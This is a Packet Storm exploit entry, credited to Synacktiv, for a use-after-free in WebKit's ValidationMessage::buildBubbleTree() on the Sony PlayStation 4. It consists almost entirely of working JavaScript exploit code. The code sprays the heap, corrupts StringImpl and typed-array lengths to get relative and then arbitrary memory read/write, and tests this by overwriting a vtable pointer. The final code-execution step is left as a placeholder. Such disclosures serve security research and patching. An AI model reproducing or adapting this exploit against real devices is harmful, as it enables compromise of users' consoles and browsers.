Sony Playstation 4 ValidationMessage::buildBubbleTree() Use-After-Free

2020-12-21T00:00:00
ID PACKETSTORM:160648
Type packetstorm
Reporter Synacktiv
Modified 2020-12-21T00:00:00

Description

                                        
                                            `const OFFSET_ELEMENT_REFCOUNT = 0x10;  
const OFFSET_JSAB_VIEW_VECTOR = 0x10;  
const OFFSET_JSAB_VIEW_LENGTH = 0x18;  
const OFFSET_LENGTH_STRINGIMPL = 0x04;  
const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;  
  
const LENGTH_ARRAYBUFFER = 0x8;  
const LENGTH_STRINGIMPL = 0x14;  
const LENGTH_JSVIEW = 0x20;  
const LENGTH_VALIDATION_MESSAGE = 0x30;  
const LENGTH_TIMER = 0x48;  
const LENGTH_HTMLTEXTAREA = 0xd8;  
  
const SPRAY_ELEM_SIZE = 0x6000;  
const SPRAY_STRINGIMPL = 0x1000;  
  
const NB_FRAMES = 0xfa0;  
const NB_REUSE = 0x8000;  
  
var g_arr_ab_1 = [];  
var g_arr_ab_2 = [];  
var g_arr_ab_3 = [];  
  
var g_frames = [];  
  
var g_relative_read = null;  
var g_relative_rw = null;  
var g_ab_slave = null;  
var g_ab_index = null;  
  
var g_timer_leak = null;  
var g_jsview_leak = null;  
var g_message_heading_leak = null;  
var g_message_body_leak = null;  
  
var g_obj_str = {};  
  
var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";  
var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";  
  
var g_round = 1;  
var g_input = null;  
  
var guess_htmltextarea_addr = new Int64("0x2070a00d8");  
  
  
/* Executed after deleteBubbleTree */  
function setupRW() {  
/* Now the m_length of the JSArrayBufferView should be 0xffffff01 */  
for (let i = 0; i < g_arr_ab_3.length; i++) {  
if (g_arr_ab_3[i].length > 0xff) {  
g_relative_rw = g_arr_ab_3[i];  
debug_log("[+] Succesfully got a relative R/W");  
break;  
}  
}  
if (g_relative_rw === null)  
die("[!] Failed to setup a relative R/W primitive");  
  
debug_log("[+] Setting up arbitrary R/W");  
  
/* Retrieving the ArrayBuffer address using the relative read */  
let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;  
let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));  
  
/* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */  
let ab_index = g_jsview_leak.sub(ab_addr).low32();  
if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)  
g_ab_index = ab_index + LENGTH_JSVIEW;  
else  
g_ab_index = ab_index - LENGTH_JSVIEW;  
  
/* Overding the length of one JSArrayBufferView with a known value */  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;  
  
/* Looking for the slave JSArrayBufferView */  
for (let i = 0; i < g_arr_ab_3.length; i++) {  
if (g_arr_ab_3[i].length === 0x41) {  
g_ab_slave = g_arr_ab_3[i];  
g_arr_ab_3 = null;  
break;  
}  
}  
if (g_ab_slave === null)  
die("[!] Didn't found the slave JSArrayBufferView");  
  
/* Extending the JSArrayBufferView length */  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;  
  
debug_log("[+] Testing arbitrary R/W");  
  
let saved_vtable = read64(guess_htmltextarea_addr);  
write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));  
if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))  
die("[!] Failed to setup arbitrary R/W primitive");  
  
debug_log("[+] Succesfully got arbitrary R/W!");  
  
/* Restore the overidden vtable pointer */  
write64(guess_htmltextarea_addr, saved_vtable);  
  
/* Cleanup memory */  
cleanup();  
  
/* Getting code execution */  
/* ... */  
}  
  
function read(addr, length) {  
for (let i = 0; i < 8; i++)  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);  
let arr = [];  
for (let i = 0; i < length; i++)  
arr.push(g_ab_slave[i]);  
return arr;  
}  
  
function read64(addr) {  
return new Int64(read(addr, 8));  
}  
  
function write(addr, data) {  
for (let i = 0; i < 8; i++)  
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);  
for (let i = 0; i < data.length; i++)  
g_ab_slave[i] = data[i];  
}  
  
function write64(addr, data) {  
write(addr, data.bytes());  
}  
  
function cleanup() {  
select1.remove();  
select1 = null;  
input1.remove();  
input1 = null;  
input2.remove();  
input2 = null;  
input3.remove();  
input3 = null;  
div1.remove();  
div1 = null;  
g_input = null;  
g_rows1 = null;  
g_rows2 = null;  
g_frames = null;  
}  
  
/*  
* Executed after buildBubbleTree  
* and before deleteBubbleTree  
*/  
function confuseTargetObjRound2() {  
if (findTargetObj() === false)  
die("[!] Failed to reuse target obj.");  
  
g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();  
  
setTimeout(setupRW, 6000);  
}  
  
  
/* Executed after deleteBubbleTree */  
function leakJSC() {  
debug_log("[+] Looking for the smashed StringImpl...");  
  
var arr_str = Object.getOwnPropertyNames(g_obj_str);  
  
/* Looking for the smashed string */  
for (let i = arr_str.length - 1; i > 0; i--) {  
if (arr_str[i].length > 0xff) {  
debug_log("[+] StringImpl corrupted successfully");  
g_relative_read = arr_str[i];  
g_obj_str = null;  
break;  
}  
}  
if (g_relative_read === null)  
die("[!] Failed to setup a relative read primitive");  
  
debug_log("[+] Got a relative read");  
  
let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);  
  
/* Spraying JSView */  
let tmp = [];  
for (let i = 0; i < 0x10000; i++) {  
/* The last allocated are more likely to be allocated after our relative read */  
if (i >= 0xfc00)  
g_arr_ab_3.push(new Uint8Array(ab));  
else  
tmp.push(new Uint8Array(ab));  
}  
tmp = null;  
  
/*  
* Force JSC ref on FastMalloc Heap  
* https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151  
*/  
var props = [];  
for (var i = 0; i < 0x400; i++) {  
props.push({ value: 0x42424242 });  
props.push({ value: g_arr_ab_3[i] });  
}  
  
/*   
* /!\  
* This part must avoid as much as possible fastMalloc allocation  
* to avoid re-using the targeted object   
* /!\   
*/  
/* Use relative read to find our JSC obj */  
/* We want a JSView that is allocated after our relative read */  
while (g_jsview_leak === null) {  
Object.defineProperties({}, props);  
for (let i = 0; i < 0x800000; i++) {  
var v = undefined;  
if (g_relative_read.charCodeAt(i) === 0x42 &&  
g_relative_read.charCodeAt(i + 0x01) === 0x42 &&  
g_relative_read.charCodeAt(i + 0x02) === 0x42 &&  
g_relative_read.charCodeAt(i + 0x03) === 0x42) {  
if (g_relative_read.charCodeAt(i + 0x08) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x0f) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x10) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x17) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x18) === 0x0e &&  
g_relative_read.charCodeAt(i + 0x1f) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x28) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x2f) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x30) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x37) === 0x00 &&  
g_relative_read.charCodeAt(i + 0x38) === 0x0e &&  
g_relative_read.charCodeAt(i + 0x3f) === 0x00)  
v = new Int64(str2array(g_relative_read, 8, i + 0x20));  
else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 &&  
g_relative_read.charCodeAt(i + 0x11) === 0x42 &&  
g_relative_read.charCodeAt(i + 0x12) === 0x42 &&  
g_relative_read.charCodeAt(i + 0x13) === 0x42)  
v = new Int64(str2array(g_relative_read, 8, i + 8));  
}  
if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) {  
g_jsview_leak = v;  
props = null;  
break;  
}  
}  
}  
/*   
* /!\  
* Critical part ended-up here  
* /!\   
*/  
  
debug_log("[+] JSArrayBufferView: " + g_jsview_leak);  
  
/* Run the exploit again */  
prepareUAF();  
}  
  
/*  
* Executed after buildBubbleTree  
* and before deleteBubbleTree  
*/  
function confuseTargetObjRound1() {  
/* Force allocation of StringImpl obj. beyond Timer address */  
sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2);  
  
/* Checking for leaked data */  
if (findTargetObj() === false)  
die("[!] Failed to reuse target obj.");  
  
dumpTargetObj();  
  
g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble();  
  
/*  
* The timeout must be > 5s because deleteBubbleTree is scheduled to run in  
* the next 5s  
*/  
setTimeout(leakJSC, 6000);  
}  
  
function handle2() {  
/* focus elsewhere */  
input2.focus();  
}  
  
function reuseTargetObj() {  
/* Delete ValidationMessage instance */  
document.body.appendChild(g_input);  
  
/*  
* Free ValidationMessage neighboors.  
* SmallLine is freed -> SmallPage is cached  
*/  
for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)  
g_frames[i].setAttribute("rows", ',');  
  
/* Get back target object */  
for (let i = 0; i < NB_REUSE; i++) {  
let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);  
let view = new Float64Array(ab);  
  
view[0] = guess_htmltextarea_addr.asDouble(); // m_element  
view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble  
  
g_arr_ab_1.push(view);  
}  
  
if (g_round == 1) {  
/*  
* Spray a couple of StringImpl obj. prior to Timer allocation  
* This will force Timer allocation on same SmallPage as our Strings  
*/  
sprayStringImpl(0, SPRAY_STRINGIMPL);  
  
g_frames = [];  
g_round += 1;  
g_input = input3;  
  
setTimeout(confuseTargetObjRound1, 10);  
} else {  
setTimeout(confuseTargetObjRound2, 10);  
}  
}  
  
function dumpTargetObj() {  
debug_log("[+] m_timer: " + g_timer_leak);  
debug_log("[+] m_messageHeading: " + g_message_heading_leak);  
debug_log("[+] m_messageBody: " + g_message_body_leak);  
}  
  
function findTargetObj() {  
for (let i = 0; i < g_arr_ab_1.length; i++) {  
if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {  
debug_log("[+] Found fake ValidationMessage");  
  
if (g_round === 2) {  
g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);  
g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);  
g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);  
g_round++;  
}  
  
g_fake_validation_message = g_arr_ab_1[i];  
g_arr_ab_1 = [];  
return true;  
}  
}  
return false;  
}  
  
function prepareUAF() {  
g_input.setCustomValidity("ps4");  
  
for (let i = 0; i < NB_FRAMES; i++) {  
var element = document.createElement("frameset");  
g_frames.push(element);  
}  
  
g_input.reportValidity();  
var div = document.createElement("div");  
document.body.appendChild(div);  
div.appendChild(g_input);  
  
/* First half spray */  
for (let i = 0; i < NB_FRAMES / 2; i++)  
g_frames[i].setAttribute("rows", g_rows1);  
  
/* Instantiate target obj */  
g_input.reportValidity();  
  
/* ... and the second half */  
for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++)  
g_frames[i].setAttribute("rows", g_rows2);  
  
g_input.setAttribute("onfocus", "reuseTargetObj()");  
g_input.autofocus = true;  
}  
  
/* HTMLElement spray */  
function sprayHTMLTextArea() {  
debug_log("[+] Spraying HTMLTextareaElement ...");  
  
let textarea_div_elem = document.createElement("div");  
document.body.appendChild(textarea_div_elem);  
textarea_div_elem.id = "div1";  
var element = document.createElement("textarea");  
  
/* Add a style to avoid textarea display */  
element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';  
  
/*  
* This spray is not perfect, "element.cloneNode" will trigger a fastMalloc  
* allocation of the node attributes and an IsoHeap allocation of the  
* Element. The virtual page layout will look something like that:  
* [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]  
*/  
for (let i = 0; i < SPRAY_ELEM_SIZE; i++)  
textarea_div_elem.appendChild(element.cloneNode());  
}  
  
/* StringImpl Spray */  
function sprayStringImpl(start, end) {  
for (let i = start; i < end; i++) {  
let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0"));  
g_obj_str[s] = 0x1337;  
}  
}  
  
function go() {  
/* Init spray */  
sprayHTMLTextArea();  
  
g_input = input1;  
/* Shape heap layout for obj. reuse */  
prepareUAF();  
}  
  
`